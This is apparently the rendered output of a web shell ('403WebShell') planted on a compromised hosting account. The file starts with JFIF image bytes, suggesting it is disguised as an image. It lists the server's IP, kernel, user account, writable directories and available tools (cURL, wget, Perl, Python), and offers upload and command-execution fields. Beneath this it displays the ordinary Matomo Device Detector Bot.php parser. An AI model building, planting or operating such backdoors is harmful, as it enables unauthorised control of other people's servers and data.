����JFIF��x�x����'403WebShell
403Webshell
Server IP : 66.29.137.217  /  Your IP : 13.58.121.29
Web Server : LiteSpeed
System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : gltevjme ( 1095)
PHP Version : 7.0.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/gltevjme/bofirmacademy.com/vendor/matomo/device-detector/Parser/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/gltevjme/bofirmacademy.com/vendor/matomo/device-detector/Parser/Bot.php
<?php

/**
 * Device Detector - The Universal Device Detection library for parsing User Agents
 *
 * @link https://matomo.org
 *
 * @license http://www.gnu.org/licenses/lgpl.html LGPL v3 or later
 */

declare(strict_types=1);

namespace DeviceDetector\Parser;

/**
 * Class Bot
 *
 * Parses a user agent for bot information
 *
 * Detected bots are defined in regexes/bots.yml
 */
class Bot extends AbstractBotParser
{
    /**
     * @var string
     */
    protected $fixtureFile = 'regexes/bots.yml';

    /**
     * @var string
     */
    protected $parserName = 'bot';

    /**
     * @var bool
     */
    protected $discardDetails = false;

    /**
     * Enables information discarding
     */
    public function discardDetails(): void
    {
        $this->discardDetails = true;
    }

    /**
     * Parses the current UA and checks whether it contains bot information
     *
     * @see bots.yml for list of detected bots
     *
     * Step 1: Build a big regex containing all regexes and match UA against it
     * -> If no matches found: return
     * -> Otherwise:
     * Step 2: Walk through the list of regexes in bots.yml and try to match every one
     * -> Return the matched data
     *
     * If $discardDetails is set to TRUE, the Step 2 will be skipped
     * $bot will be set to TRUE instead
     *
     * NOTE: Doing the big match before matching every single regex speeds up the detection
     *
     * @return array|null
     */
    public function parse(): ?array
    {
        $result = null;

        if ($this->preMatchOverall()) {
            if ($this->discardDetails) {
                return [true];
            }

            foreach ($this->getRegexes() as $regex) {
                $matches = $this->matchUserAgent($regex['regex']);

                if ($matches) {
                    unset($regex['regex']);
                    $result = $regex;

                    break;
                }
            }
        }

        return $result;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit